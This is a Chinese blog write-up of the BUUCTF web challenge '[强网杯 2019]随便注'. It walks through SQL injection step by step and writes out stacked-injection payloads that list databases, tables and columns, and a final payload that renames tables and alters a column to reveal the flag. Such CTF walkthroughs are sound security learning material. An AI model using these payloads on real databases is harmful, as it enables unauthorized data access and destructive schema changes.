还在加载 请稍等一下辣ヾ(≧▽≦*)o . . .

Buuctf-Web-[强网杯 2019]随便注


前言

刷题网址:https://buuoj.cn/challenges#[%E5%BC%BA%E7%BD%91%E6%9D%AF%202019]%E9%9A%8F%E4%BE%BF%E6%B3%A8


首先打开就是SQL注入,我们尝试一下,如下图,发现返回的是原始数据

然后我们输入1' or 1=1#发现返回了所有数据,如下图

这里我们直接来使用联合注入尝试,发现order by 2正常回显,但是order by 3就报错

这里我们查询,发现过滤了很多关键字。

这里可以选择尝试堆叠注入,如下图,发现是可以进行堆叠注入的,并且把所有的数据库都爆出来了。

payload: 1';show databases;#

然后这里我们查表,发现有两个表,一个是纯数字表一个是words表,如下图

payload: 1';show tables;#

我们查看数字表,如下图,发现flag在里面,然后反单引号(`)是数据库、表、索引、列和别名用的引用符,但是这里经过测试,如果是纯数字的表就需要加反单引号,如果不是就不需要加或者加上也无所谓。

payload: 1';show columns from `1919810931114514`;#

然后我们在查看words表,如下图,看起来输入框里面默认查询的就是words表了,因为上面查询数字表的时候只有一列,查询words表的时候有两列,那么如果是这样的话猜测一下查询语句应该是: select id,data from words where id =

payload: 1';show columns from words;#

如果是这样,而且还没有过滤renamealter思路就来了,就是把words表改成words1或者其他名字,然后在把数字表名改成words,然后在把新的words里面的flag修改成id,然后在结合上面的1' or 1=1#就可以查出flag了。

payload: 1';rename table words to words2;rename table `1919810931114514` to words;alter table words change flag id varchar(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;desc words;#

如下图flag


文章作者: 坂琴
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 坂琴 !
评论
  目录